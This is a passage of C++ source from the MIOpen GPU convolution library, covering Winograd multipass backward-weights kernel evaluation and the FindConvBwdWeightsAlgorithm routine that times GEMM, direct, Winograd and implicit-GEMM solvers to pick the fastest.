WinoFilterW>::GetSolverWinoXformHWSize(ctx,0),\n        wino_xform_w =\n            solver::ConvWinograd3x3MultipassWrW<WinoDataH, WinoFilterH, WinoDataW, WinoFilterW>::GetSolverWinoXformHWSize(ctx,1);\n    WinogradBufferInfo <WinoDataH, WinoFilterH, WinoDataW, WinoFilterW>\n        // cppcheck-suppress unreadVariable\n        wino_in(N,K,C,out_H,out_W,R,S,\n            MemLayout_t::HWNC,\n            1,GetTypeSize(ctx.in_data_type),\n            ConvWinoBuffType::Input,\n            wino_xform_h,\n            wino_xform_w),\n        // cppcheck-suppress unreadVariable\n        wino_out(N,K,C,out_H,out_W,R,S,\n            MemLayout_t::HWNC,\n            1,GetTypeSize(ctx.out_data_type),\n            ConvWinoBuffType::Output,\n            wino_xform_h,\n            wino_xform_w),\n        // cppcheck-suppress unreadVariable\n        wino_wei(N,K,C,out_H,out_W,R,S,\n            MemLayout_t::HWNC,\n            1,GetTypeSize(ctx.weights_data_type),\n            ConvWinoBuffType::Weight,\n            wino_xform_h,\n            wino_xform_w);\n    float total_time = 0;\n    // clang-format on\n    for(const auto& cur_kernel : kernels)\n    {\n        BuffInfo* d_buf         = nullptr;\n        BuffInfo* o_buf         = nullptr;\n        Data_t buff_out_adr     = nullptr;\n        auto f_buf              = &weights_buff_info;\n        auto const_buff_in_adr  = tensors.x;\n        auto buff_in_adr        = workSpace;\n        bool const_input        = false;\n        float cur_time          = 0;\n        int flat_GroupCountMult = 1;\n\n        size_t wino_in_offset = 0, wino_out_offset = wino_in.buff_info.total_byte_size,\n               wino_wei_offset = wino_out_offset + wino_out.buff_info.total_byte_size;\n\n        size_t buff_in_addr_offset = 0, buff_out_addr_offset = 0;\n\n        if(cur_kernel.GetName() ==\n           solver::ConvWinograd3x3MultipassWrW<WinoDataH, WinoFilterH, WinoDataW, WinoFilterW>::\n               GetSolverKernelNames(0)) // Input\n                                        // Transform\n        {\n            d_buf               = &in_buff_info;\n            o_buf               = &(wino_in.buff_info);\n            const_buff_in_adr   = tensors.x;\n            buff_out_adr        = workSpace;\n            buff_in_addr_offset = wino_in_offset;\n            const_input         = true;\n            flat_GroupCountMult =\n                solver::ConvWinograd3x3MultipassWrW<WinoDataH,\n                                                    WinoFilterH,\n                                                    WinoDataW,\n                                                    WinoFilterW>::GetGroupCountMult();\n        }\n        else if(cur_kernel.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<WinoDataH,\n                                                    WinoFilterH,\n                                                    WinoDataW,\n                                                    WinoFilterW>::GetSolverKernelNames(1)) // filter\n        // Transform\n        {\n            d_buf                = &weights_buff_info;\n            o_buf                = &(wino_wei.buff_info);\n            const_buff_in_adr    = tensors.dy;\n            buff_out_adr         = workSpace;\n            buff_out_addr_offset = wino_wei_offset;\n            const_input          = true;\n            flat_GroupCountMult =\n                solver::ConvWinograd3x3MultipassWrW<WinoDataH,\n                                                    WinoFilterH,\n                                                    WinoDataW,\n                                                    WinoFilterW>::GetGroupCountMult();\n        }\n        else // Output\n             // and GEMM\n        {\n            const bool time_precision = (!IsDisabled(MIOPEN_CONV_PRECISE_ROCBLAS_TIMING{}));\n            int m = N, n = K, k = wino_in.wino_c;\n            int lda = k, ldb = k, ldc = n;\n            int batch_count       = wino_xform_h * wino_xform_w;\n            long long int strideA = m * k * 1LL, strideB = k * n * 1LL, strideC = m * n * 1LL;\n            float alpha = 1., beta = 0.0;\n            // clang-format off\n            GemmDescriptor wino_gemm_desc{false,false,true,m,n,k,\n                lda,ldb,ldc,batch_count,strideA,strideB,\n                strideC,alpha,beta,ctx.in_data_type};\n\n            if(elapsed == nullptr)\n                CallGemmStridedBatched(handle,\n                            wino_gemm_desc,\n                            workSpace,\n                            static_cast<int>(wino_in_offset / GetTypeSize(ctx.in_data_type)),\n                            workSpace,\n                            static_cast<int>(wino_wei_offset / GetTypeSize(ctx.in_data_type)),\n                            workSpace,\n                            static_cast<int>(wino_out_offset / GetTypeSize(ctx.in_data_type)),\n                            nullptr,\n                            false,\n                            GemmBackend_t::rocblas);\n            else\n                CallGemmTimeMeasure(handle,\n                            wino_gemm_desc,\n                            workSpace,\n                            static_cast<int>(wino_in_offset / GetTypeSize(ctx.in_data_type)),\n                            workSpace,\n                            static_cast<int>(wino_wei_offset / GetTypeSize(ctx.in_data_type)),\n                            workSpace,\n                            static_cast<int>(wino_out_offset / GetTypeSize(ctx.in_data_type)),\n                            nullptr,\n                            time_precision,\n                            CallGemmType_t::callGemmStridedBatched,\n                            GemmBackend_t::rocblas);\n            // clang-format on\n            if(handle.IsProfilingEnabled() || elapsed != nullptr)\n            {\n                cur_time = handle.GetKernelTime();\n                total_time += cur_time;\n            }\n            if(elapsed != nullptr)\n            {\n                *elapsed += cur_time;\n                MIOPEN_LOG_I2(\"WRW_WINO_GEMM: \" << cur_time);\n            }\n\n            d_buf               = &(wino_out.buff_info);\n            o_buf               = &(out_buff_info);\n            buff_in_adr         = workSpace;\n            buff_in_addr_offset = wino_out_offset;\n            buff_out_adr        = tensors.dw;\n        }\n\n        const auto input_ptr = static_cast<const void*>(\n            static_cast<const char*>(const_input ? const_buff_in_adr : buff_in_adr) +\n            buff_in_addr_offset);\n        const auto output_ptr =\n            static_cast<void*>(static_cast<char*>(buff_out_adr) + buff_out_addr_offset);\n\n        cur_kernel(N,\n                   C,\n                   H,\n                   W,\n                   K,\n                   n_groups * flat_GroupCountMult,\n                   flags,\n                   reserved,\n                   input_ptr,\n                   reserved_ptr,\n                   output_ptr,\n                   reserved_ptr,\n                   R,\n                   S,\n                   pad_H,\n                   pad_W,\n                   out_H,\n                   out_W,\n                   reserved_ptr,\n                   reserved,\n                   d_buf->byte_stride.nk,\n                   d_buf->byte_stride.c,\n                   d_buf->byte_stride.h,\n                   d_buf->byte_stride.w,\n                   f_buf->byte_stride.nk,\n                   f_buf->byte_stride.c,\n                   f_buf->byte_stride.h,\n                   f_buf->byte_stride.w,\n                   o_buf->byte_stride.nk,\n                   o_buf->byte_stride.c,\n                   o_buf->byte_stride.h,\n                   o_buf->byte_stride.w);\n\n        if(elapsed != nullptr)\n        {\n            cur_time = handle.GetKernelTime();\n            *elapsed += cur_time;\n            MIOPEN_LOG_I2(cur_kernel.GetName() << \": \" << cur_time);\n        }\n        else\n        {\n            if(handle.IsProfilingEnabled())\n            {\n                if(!(cur_kernel.GetName() ==\n                     solver::ConvWinograd3x3MultipassWrW<WinoDataH,\n                                                         WinoFilterH,\n                                                         WinoDataW,\n                                                         WinoFilterW>::GetSolverKernelNames(2)))\n                {\n                    total_time += handle.GetKernelTime();\n                }\n                else\n                {\n                    handle.AccumKernelTime(total_time);\n                }\n            }\n        }\n    }\n#else\n    (void)handle;\n    (void)ctx;\n    (void)tensors;\n    (void)workSpace;\n    (void)kernels;\n    (void)pad_H;\n    (void)pad_W;\n    if(elapsed != nullptr)\n    {\n        *elapsed = 0;\n    }\n    MIOPEN_THROW(miopenStatusBadParm, \"MixedWrW3x3Winograd Unsupported \");\n#endif\n}\n\n// ConvolutionBackwardWeightsGetWorkSpaceSize\n// FindBackwardWeightsAlgorithm()\n//\nvoid ConvolutionDescriptor::FindConvBwdWeightsAlgorithm(Handle& handle,\n                                                        const TensorDescriptor& dyDesc,\n                                                        ConstData_t dy,\n                                                        const TensorDescriptor& xDesc,\n                                                        ConstData_t x,\n                                                        const TensorDescriptor& dwDesc,\n                                                        Data_t dw,\n                                                        const int requestAlgoCount,\n                                                        int* const returnedAlgoCount,\n                                                        miopenConvAlgoPerf_t* perfResults,\n                                                        Data_t workSpace,\n                                                        size_t workSpaceSize,\n                                                        bool exhaustiveSearch) const\n{\n    MIOPEN_LOG_I(\"requestAlgoCount = \" << requestAlgoCount << \", workspace = \" << workSpaceSize);\n    if(x == nullptr || dw == nullptr || dy == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"Buffers cannot be NULL\");\n    if(returnedAlgoCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"returnedAlgoCount cannot be nullptr\");\n    if(perfResults == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"perfResults cannot be nullptr\");\n    if(requestAlgoCount < 1)\n        MIOPEN_THROW(miopenStatusBadParm, \"requestAlgoCount cannot be < 1\");\n    if(xDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    *returnedAlgoCount = 0;\n\n    AutoEnableProfiling enableProfiling{handle};\n\n    auto problem =\n        ProblemDescription{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n\n    std::vector<PerfField> perf_db;\n    const miopen::FindMode fm;\n    bool use_immediate_solution = false;\n    miopenConvSolution_t imm_sol;\n    if(fm.IsFast() || fm.IsHybrid())\n    {\n        size_t count;\n        GetWrwSolutions(handle, dyDesc, xDesc, dwDesc, 1, &count, &imm_sol);\n        use_immediate_solution = (count > 0) && !(fm.IsHybrid() && imm_sol.time < 0);\n    }\n\n    if(use_immediate_solution)\n    {\n        CompileWrwSolution(handle, dyDesc, xDesc, dwDesc, imm_sol.solution_id);\n        const auto id = solver::Id(imm_sol.solution_id);\n        perf_db.push_back({id.GetAlgo(conv::Direction::BackwardWeights),\n                           id.ToString(),\n                           imm_sol.time,\n                           imm_sol.workspace_size});\n    }\n    else\n    {\n        perf_db = UserFindDbRecord::TryLoad(handle, problem, [&](DbRecord& record) {\n#if MIOPEN_USE_GEMM\n            if(!miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}) &&\n               !(IsAnyBufferBF16(xDesc, dyDesc, dwDesc) && !IsUseRocBlas))\n            {\n                const bool time_precision = (!IsDisabled(MIOPEN_CONV_PRECISE_ROCBLAS_TIMING{}));\n\n                ValidateGroupCount(xDesc, dwDesc, *this);\n\n                std::size_t in_n, in_c;\n                std::tie(in_n, in_c) = tie_pick<0, 1>()(xDesc.GetLengths());\n\n                auto in_spatial =\n                    boost::adaptors::slice(xDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n                auto wei_spatial =\n                    boost::adaptors::slice(dwDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n                auto out_spatial =\n                    boost::adaptors::slice(dyDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n\n                size_t workspace_req = BackwardWeightsGetWorkSpaceSizeGEMM(dyDesc, dwDesc);\n\n                float time_gemm = 0;\n\n                // if not 1x1\n                if((miopen::any_of(wei_spatial, [](auto v) { return v != 1; }) ||\n                    miopen::any_of(GetConvPads(), [](auto v) { return v != 0; }) ||\n                    miopen::any_of(GetConvStrides(), [](auto v) { return v != 1; })) &&\n                   (workSpace != nullptr && workSpaceSize >= workspace_req))\n                {\n                    if(group_count > 1)\n                    {\n                        MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n                    }\n                    else\n                    {\n                        MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n                    }\n                    float time_im2col = 0;\n                    int in_offset     = 0;\n                    time_im2col       = Im2ColGPU(handle,\n                                            GetSpatialDimension(),\n                                            x,\n                                            in_offset,\n                                            in_c,\n                                            in_spatial,\n                                            wei_spatial,\n                                            out_spatial,\n                                            GetConvPads(),\n                                            GetConvStrides(),\n                                            GetConvDilations(),\n                                            workSpace,\n                                            dyDesc.GetType());\n\n                    // dw = dy * transpose(Im2Col(x))\n                    GemmDescriptor gemm_desc =\n                        group_count > 1 ? CreateGemmDescriptorGroupConvBwdWeight(\n                                              dyDesc, xDesc, dwDesc, group_count)\n                                        : CreateGemmDescriptorConvBwdWeight(dyDesc, xDesc, dwDesc);\n\n                    auto kcache_key = FindDbKCacheKey{};\n\n                    miopenStatus_t gemm_status = CallGemmTimeMeasure(\n                        handle,\n                        gemm_desc,\n                        dy,\n                        0,\n                        workSpace,\n                        0,\n                        dw,\n                        0,\n                        &kcache_key,\n                        time_precision,\n                        group_count > 1 ? callGemmStridedBatched : callGemm,\n                        group_count > 1 ? GemmBackend_t::rocblas : GemmBackend_t::miopengemm);\n\n                    time_gemm = in_n * (time_im2col + handle.GetKernelTime());\n\n                    if(gemm_status == miopenStatusSuccess)\n                        record.SetValues(\"miopenConvolutionBwdWeightsAlgoGEMM\",\n                                         FindDbData{\n                                             \"gemm\", time_gemm, workspace_req, kcache_key,\n                                         });\n                }\n                // 1x1 does not require im2col or workspace\n                else if(miopen::any_of(wei_spatial, [](auto v) { return v == 1; }) &&\n                        miopen::any_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n                        miopen::any_of(GetConvStrides(), [](auto v) { return v == 1; }))\n                {\n                    if(group_count > 1)\n                    {\n                        MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n                    }\n                    else\n                    {\n                        MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n                    }\n\n                    // dw = sum_over_batch(dy[i] * transpose(x[i])), i is batch id\n                    GemmDescriptor gemm_desc =\n                        group_count > 1 ? CreateGemmDescriptorGroupConvBwdWeight(\n                                              dyDesc, xDesc, dwDesc, group_count)\n                                        : CreateGemmStridedBatchedDescriptorConv1x1BwdWeight(\n                                              dyDesc, xDesc, dwDesc);\n\n                    auto kcache_key = FindDbKCacheKey{};\n\n                    miopenStatus_t gemm_status = CallGemmTimeMeasure(\n                        handle,\n                        gemm_desc,\n                        dy,\n                        0,\n                        x,\n                        0,\n                        dw,\n                        0,\n                        &kcache_key,\n                        time_precision,\n                        group_count > 1 ? callGemmStridedBatched : callGemmStridedBatchedSequential,\n                        group_count > 1 ? GemmBackend_t::rocblas : GemmBackend_t::miopengemm);\n\n                    time_gemm = handle.GetKernelTime();\n                    if(group_count > 1)\n                        time_gemm *= in_n;\n\n                    if(gemm_status == miopenStatusSuccess)\n                        record.SetValues(\"miopenConvolutionBwdWeightsAlgoGEMM\",\n                                         FindDbData{\n                                             \"gemm\", time_gemm, 0, kcache_key,\n                                         });\n                }\n            }\n#endif\n            ConvolutionUserBuffers bufs(workSpace, workSpaceSize);\n            bufs.SetWrW(x, dw, dy);\n            auto ctx =\n                ConvolutionContext{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n            ctx.do_search = exhaustiveSearch;\n            ctx.SetStream(&handle);\n            ctx.SetBufs(bufs);\n            ctx.SetupFloats();\n            ctx.DetectRocm();\n            const auto network_config = ctx.BuildConfKey();\n            const auto invoke_ctx =\n                conv::WrWInvokeParams{{dyDesc, dy, xDesc, x, dwDesc, dw}, workSpace, workSpaceSize};\n            // direct convolution\n            if(!miopen::IsDisabled(MIOPEN_DEBUG_CONV_DIRECT{}))\n            {\n                const auto all            = FindAllBwdWrW2DSolutions(ctx);\n                const auto algorithm_name = AlgorithmName{\"miopenConvolutionBwdWeightsAlgoDirect\"};\n                EvaluateInvokers(handle, all, algorithm_name, network_config, invoke_ctx, record);\n            }\n\n            try\n            {\n                const auto all = miopen::IsDisabled(MIOPEN_DEBUG_CONV_WINOGRAD{})\n                                     ? std::vector<miopen::solver::ConvSolution>()\n                                     : FindWinogradWrWAllSolutions(ctx);\n\n                float elapsed = 0.0f;\n                if(!all.empty())\n                {\n                    float best = std::numeric_limits<float>::max();\n                    miopen::solver::ConvSolution selected{miopenStatusUnknownError};\n                    for(const auto& sol : all)\n                    {\n                        elapsed = 0.0f;\n                        std::vector<KernelInvoke> kernels;\n\n                        AddKernels(handle,\n                                   \"miopenConvolutionBwdWeightsAlgoWinograd\",\n                                   network_config,\n                                   sol,\n                                   &kernels);\n                        auto tensors = ConvWrwTensors{dyDesc, dy, xDesc, x, dwDesc, dw};\n                        if(workSpaceSize < sol.workspce_sz)\n                            continue;\n                        // clang-format off\n                    if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<3, 2>()))\n                        EvaluateWinograd3x3MultipassWrW<3,2>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<3, 3>()))\n                        EvaluateWinograd3x3MultipassWrW<3,3>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<3, 4>()))\n                        EvaluateWinograd3x3MultipassWrW<3,4>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<3, 5>()))\n                        EvaluateWinograd3x3MultipassWrW<3,5>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<3, 6>()))\n                        EvaluateWinograd3x3MultipassWrW<3,6>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<7, 2>()))\n                        EvaluateWinograd3x3MultipassWrW<7,2>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<7, 3>()))\n                        EvaluateWinograd3x3MultipassWrW<7,3>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<7, 2, 1, 1>()))\n                        EvaluateWinograd3x3MultipassWrW<7,2,1,1>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<7, 3, 1, 1>()))\n                        EvaluateWinograd3x3MultipassWrW<7,3,1,1>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<1, 1, 7, 2>()))\n                        EvaluateWinograd3x3MultipassWrW<1,1,7,2>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<1, 1, 7, 3>()))\n                        EvaluateWinograd3x3MultipassWrW<1,1,7,3>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<5, 3>()))\n                        EvaluateWinograd3x3MultipassWrW<5,3>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n                    else if(sol.solver_id == SolverDbId(miopen::solver::ConvWinograd3x3MultipassWrW<5, 4>()))\n                        EvaluateWinograd3x3MultipassWrW<5,4>(\n                            handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1],&elapsed);\n\n                    else // clang-format on\n                        {    // single pass\n                            int unused                       = 0;\n                            using dataType                   = float;\n                            static const int F_FLIP_K_C      = 1 << 2;\n                            static const int F_NKC_STRIDES   = 1 << 9;\n                            static const int F_GROUP_STRIDES = 1 << 10;\n                            int reserved                     = 0;\n                            int* reserved_ptr                = nullptr;\n                            int pad_H                        = GetConvPads()[0];\n                            int pad_W                        = GetConvPads()[1];\n                            // clang-format off\n                        int N, C, H, W, K, n_groups, out_H, out_W, R, S;\n                            // clang-format on\n                            if(kernels[0].GetName().rfind(\"miopenSp3AsmConv_v21_1_0\", 0) == 0)\n                            {\n                                GetCompiledInParameters(ctx,\n                                                        &C,\n                                                        &K,\n                                                        &R,\n                                                        &S,\n                                                        &N,\n                                                        &n_groups,\n                                                        &H,\n                                                        &W,\n                                                        &out_H,\n                                                        &out_W,\n                                                        &unused,\n                                                        &unused);\n                                // GetCompiledInParameters(ctx, &N, &C, &H, &W, &K, &n_groups,\n                                // &out_H, &out_W, &R, &S, &pad_H, &pad_W);\n                                int flags      = F_NKC_STRIDES + F_GROUP_STRIDES;\n                                auto group_cnt = ctx.group_counts;\n                                N              = N / group_cnt;\n                                K              = K / group_cnt;\n\n                                BuffInfo d_buf(\n                                    GetGroupConvLayout(\n                                        GetSwappedNCLayout(GetMemLayout_t(ctx.in_layout)), true),\n                                    N,\n                                    C,\n                                    H,\n                                    W,\n                                    1,\n                                    group_cnt,\n                                    GetTypeSize(ctx.in_data_type)),\n                                    o_buf(GetGroupConvLayout(\n                                              GetSwappedNCLayout(GetMemLayout_t(ctx.out_layout)),\n                                              false),\n                                          N,\n                                          K,\n                                          out_H,\n                                          out_W,\n                                          1,\n                                          group_cnt,\n                                          GetTypeSize(ctx.out_data_type)),\n                                    f_buf(GetGroupConvLayout(GetSwappedNCLayout(MemLayout_t::NCHW),\n                                                             true),\n                                          K,\n                                          C,\n                                          R,\n                                          S,\n                                          1,\n                                          group_cnt,\n                                          GetTypeSize(ctx.weights_data_type));\n\n                                if(GetKernelLocalWorkDim(kernels[0], 0) != 0)\n                                    n_groups = solver::ConvBinWinogradRxSf2x3::GetNGroups(\n                                        ctx.group_counts,\n                                        GetKernelGlobalWorkDim(kernels[0], 0) /\n                                            GetKernelLocalWorkDim(kernels[0], 0));\n                                else\n                                    n_groups = solver::ConvBinWinogradRxSf2x3::GetNGroups(\n                                        ctx.group_counts,\n                                        GetKernelGlobalWorkDim(kernels[0], 0) /\n                                            512); // For OCL runtime. Issue #1724\n\n                                // clang-format off\n                            MIOPEN_LOG_I2(\" N=\" << N << \" G=\" << group_cnt << \" C=\" << C << \" H=\" << H << \" W=\" << W << \" K=\" << K\n                                << \" n_groups=\" << n_groups << \" flags=\" << flags << \" R=\" << R << \" S=\" << S\n                                << \" pad_H=\" << pad_H << \" pad_W=\" << pad_W << \" out_H=\" << out_H << \" out_W=\" << out_W\n                                << \" d_buf.byte_stride.nk=\" << d_buf.byte_stride.nk << \" d_buf.byte_stride.c=\" << d_buf.byte_stride.c\n                                << \" d_buf.byte_stride.h=\" << d_buf.byte_stride.h << \" d_buf.byte_stride.w=\" << d_buf.byte_stride.w\n                                << \" f_buf.byte_stride.nk=\" << f_buf.byte_stride.nk << \" f_buf.byte_stride.c=\" << f_buf.byte_stride.c\n                                << \" f_buf.byte_stride.h=\" << f_buf.byte_stride.h << \" f_buf.byte_stride.w=\" << f_buf.byte_stride.w\n                                << \" o_buf.byte_stride.nk=\" << o_buf.byte_stride.nk << \" o_buf.byte_stride.c=\" << o_buf.byte_stride.c\n                                << \" o_buf.byte_stride.h=\"  << o_buf.byte_stride.h <<  \" o_buf.byte_stride.w=\" << o_buf.byte_stride.w\n                                << \" d_buf.byte_stride.g=\" << d_buf.byte_stride.g  << \" o_buf.byte_stride.g=\"  << o_buf.byte_stride.g\n                                << \" f_buf.byte_stride.g=\" << f_buf.byte_stride.g); // clang-format on\n                                MIOPEN_LOG_I2(\" ctx.batch_sz=\" << ctx.batch_sz << \"ctx.n_inputs=\"\n                                                               << ctx.n_inputs);\n                                kernels[0](N,\n                                           C,\n                                           H,\n                                           W,\n                                           K,\n                                           n_groups,\n                                           flags,\n                                           reserved,\n                                           x,\n                                           dy,\n                                           dw,\n                                           reserved_ptr, // Unused return_addr.\n                                           R,\n                                           S,\n                                           pad_H, // Like Fwd wino.\n                                           pad_W,\n                                           out_H,\n                                           out_W,\n                                           reserved_ptr, // Unused bias_addr.\n                                           reserved,     // Unused relu_alpha.\n                                           d_buf.byte_stride.nk,\n                                           d_buf.byte_stride.c,\n                                           d_buf.byte_stride.h,\n                                           d_buf.byte_stride.w,\n                                           f_buf.byte_stride.nk,\n                                           f_buf.byte_stride.c,\n                                           f_buf.byte_stride.h,\n                                           f_buf.byte_stride.w,\n                                           o_buf.byte_stride.nk,\n                                           o_buf.byte_stride.c,\n                                           o_buf.byte_stride.h,\n                                           o_buf.byte_stride.w,\n                                           group_cnt,\n                                           d_buf.byte_stride.g,\n                                           f_buf.byte_stride.g,\n                                           o_buf.byte_stride.g);\n                                elapsed = handle.GetKernelTime();\n                            }\n                            else // miopenSp3AsmConvRxSf3x2 and other\n                            {\n                                // clang-format off\n                            GetCompiledInParameters(ctx, &N,&K,&out_H,&out_W,\n                                &C,&n_groups,&H,&W,&R,&S,&unused,&unused);\n                                // clang-format on\n                                int flags      = F_FLIP_K_C + F_NKC_STRIDES;\n                                int d_N_stride = H * W * static_cast<int>(sizeof(dataType));\n                                int d_C_stride = C * d_N_stride;\n                                int f_K_stride = out_H * out_W * static_cast<int>(sizeof(dataType));\n                                int f_C_stride = K * f_K_stride;\n                                int o_N_stride = R * S * static_cast<int>(sizeof(dataType));\n                                int o_K_stride = C * o_N_stride;\n\n                                // clang-format off\n                            MIOPEN_LOG_I2(\" N=\" << N << \" C=\" << C << \" H=\" << H << \" W=\" << W << \" K=\" << K\n                                << \" n_groups=\" << n_groups << \" flags=\" << flags << \" R=\" << R << \" S=\" << S\n                                << \" pad_H=\" << pad_H << \" pad_W=\" << pad_W << \" out_H=\" << out_H << \" out_W=\" << out_W\n                                << \" d_N_stride=\" << d_N_stride << \" d_C_stride=\" << d_C_stride\n                                << \" f_K_stride=\" << f_K_stride << \" f_C_stride=\" << f_C_stride\n                                << \" o_N_stride=\" << o_N_stride << \" o_K_stride=\" << o_K_stride); // clang-format on\n\n                                kernels[0](C,\n                                           N,\n                                           H,\n                                           W,\n                                           K,\n                                           n_groups,\n                                           flags,\n                                           reserved,\n                                           x,\n                                           dy,\n                                           dw,\n                                           reserved_ptr, // Unused return_addr.\n                                           out_H,\n                                           out_W,\n                                           pad_H, // Like Fwd wino.\n                                           pad_W,\n                                           R,\n                                           S,\n                                           reserved_ptr, // Unused bias_addr.\n                                           reserved,     // Unused relu_alpha.\n                                           d_N_stride,\n                                           d_C_stride,\n                                           f_K_stride,\n                                           f_C_stride,\n                                           o_N_stride,\n                                           o_K_stride);\n                                elapsed = handle.GetKernelTime();\n                            }\n                        } ////single pass end\n                        MIOPEN_LOG_I(sol << \": \" << elapsed << (elapsed < best ? \" < \" : \" >= \")\n                                         << best);\n                        if(elapsed < best)\n                        {\n                            best     = elapsed;\n                            selected = sol;\n                        }\n                    }\n                    if(selected.Succeeded())\n                    {\n                        const std::string algorithm_name =\n                            \"miopenConvolutionBwdWeightsAlgoWinograd\";\n                        AddKernels(handle, algorithm_name, network_config, selected, nullptr);\n                        MIOPEN_LOG_I(\"Selected: \" << selected << \": \" << best << \", workspce_sz = \"\n                                                  << selected.workspce_sz);\n                        record.SetValues(algorithm_name,\n                                         FindDbData{\n                                             selected.solver_id,\n                                             best,\n                                             selected.workspce_sz,\n                                             {algorithm_name, network_config},\n                                         });\n                    }\n                }\n            }\n            catch(const miopen::Exception& ex)\n            {\n                MIOPEN_LOG_WE(\"Find Winograd WrW failed:\" << ex.what());\n            }\n\n            // Implicit GEMM\n            if(!miopen::IsDisabled(MIOPEN_DEBUG_CONV_IMPLICIT_GEMM{}))\n            {\n                const auto all = FindImplicitGemmWrWAllSolutions(ctx);\n                float best     = std::numeric_limits<float>::max();\n                miopen::solver::ConvSolution selected{miopenStatusUnknownError};\n                const auto algo_name = \"miopenConvolutionBwdWeightsAlgoImplicitGEMM\";\n                float elapsed        = 0.0f;\n                for(const auto& sol : all)\n                {\n                    std::vector<KernelInvoke> kernels;\n                    AddKernels(handle, algo_name, network_config, sol, &kernels);\n                    if(!kernels.empty())\n                    {\n                        auto kernel = kernels[0];\n\n                        // For fp16/bfp16 backward data case, do zero init, bwd data with fp32\n                        // output and cast (convert) from fp32 to fp16/bfp16.\n                        // clang-format off\n                        if((dwDesc.GetType() == miopenHalf || dwDesc.GetType() == miopenBFloat16) &&\n                           (kernel.GetName() == \"gridwise_convolution_implicit_gemm_v4r4_gen_xdlops_nchw_kcyx_nkhw_lds_double_buffer\" ||\n                            kernel.GetName() == \"gridwise_convolution_implicit_gemm_v4r4_gen_xdlops_gnchw_gkcyx_gnkhw_lds_double_buffer\"))\n                        // clang-format on\n                        {\n                            float zero = 0.f;\n                            TensorDescriptor workSpaceDesc(\n                                miopenFloat, dwDesc.GetLengths(), dwDesc.GetStrides());\n                            SetTensor(handle, workSpaceDesc, workSpace, &zero);\n                            elapsed = handle.GetKernelTime();\n\n                            kernel(x, dy, workSpace);\n                            elapsed += handle.GetKernelTime();\n\n                            CastTensor(\n                                handle, &lowp_quant, workSpaceDesc, workSpace, dwDesc, dw, 0, 0);\n                            elapsed += handle.GetKernelTime();\n                        }\n                        else\n                        {\n                            // This kernel may accumulate results into input tensor, therefore need\n                            // to set zero.\n                            float zero = 0.f;\n                            SetTensor(handle, dwDesc, dw, &zero);\n                            elapsed = handle.GetKernelTime();\n                            kernel(x, dy, dw);\n                            elapsed += handle.GetKernelTime();\n                        }\n                    }\n\n                    MIOPEN_LOG_I(sol << \": \" << elapsed << (elapsed < best ? \" < \" : \" >= \")\n                                     << best);\n\n                    if(elapsed < best)\n                    {\n                        best     = elapsed;\n                        selected = sol;\n                    }\n                }\n                if(selected.Succeeded())\n                {\n                    AddKernels(handle, algo_name, network_config, selected, nullptr);\n                    MIOPEN_LOG_I(\"Selected: \" << selected << \": \" << best << \", workspce_sz = \"\n                                              << selected.workspce_sz);\n                    record.SetValues(algo_name,\n                                     FindDbData{selected.solver_id,\n                                                best,\n                                                selected.workspce_sz,\n                                                {algo_name, network_config}});\n                }\n            }\n        });\n    }\n\n    if(perf_db.empty())\n        MIOPEN_THROW(\"Backward Weights Convolution cannot be executed due to incorrect params\");\n\n    std::sort(begin(perf_db), end(perf_db));\n\n    for(const auto& entry : perf_db)\n        MIOPEN_LOG_I(entry.name << 